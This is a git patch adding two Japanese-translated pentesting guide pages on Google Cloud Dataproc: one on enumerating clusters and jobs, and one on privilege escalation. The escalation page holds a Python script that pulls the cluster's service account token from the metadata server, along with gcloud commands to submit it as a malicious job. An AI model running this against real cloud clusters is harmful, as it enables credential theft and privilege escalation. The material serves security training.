From f38722af5e00a04ce8c26094546718b9f0d994c2 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 21:46:23 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-dataproc-privesc.md | 54 +++++++++++++++++++ .../gcp-services/gcp-dataproc-enum.md | 43 +++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..c612c79b9 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +この方法を使用してリバースシェルを取得することはできませんでしたが、以下に説明する方法を使用してメタデータエンドポイントからSAトークンを漏洩させることが可能です。 + +#### 攻撃手順 + +- GCPバケットにジョブスクリプトを配置する + +- Dataprocクラスターにジョブを送信する。 + +- ジョブを使用してメタデータサーバーにアクセスする。 + +- クラスターによって使用されるサービスアカウントトークンを漏洩させる。 +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..e0cb75ff0 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## 基本情報 + +Google Cloud Dataprocは、Apache Spark、Apache Hadoop、Apache Flink、およびその他のビッグデータフレームワークを実行するための完全管理型サービスです。主にデータ処理、クエリ、機械学習、およびストリーム分析に使用されます。Dataprocは、組織がCloud Storage、BigQuery、Cloud Monitoringなどの他のGoogle Cloud Platform (GCP)サービスとシームレスに統合し、分散コンピューティングのためのクラスターを簡単に作成できるようにします。 + +Dataprocクラスターは仮想マシン(VM)上で実行され、これらのVMに関連付けられたサービスアカウントがクラスターの権限とアクセスレベルを決定します。 + +## コンポーネント + +Dataprocクラスターには通常、以下が含まれます: + +マスターノード:クラスターリソースを管理し、分散タスクを調整します。 + +ワーカーノード:分散タスクを実行します。 + +サービスアカウント:API呼び出しを処理し、他のGCPサービスにアクセスします。 + +## 列挙 + +Dataprocクラスター、ジョブ、および構成を列挙して、サービスアカウント、権限、および潜在的な誤設定などの機密情報を収集できます。 + +### クラスター列挙 + +Dataprocクラスターを列挙し、その詳細を取得するには: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### ジョブ列挙 +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### プライベートエスカレーション + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}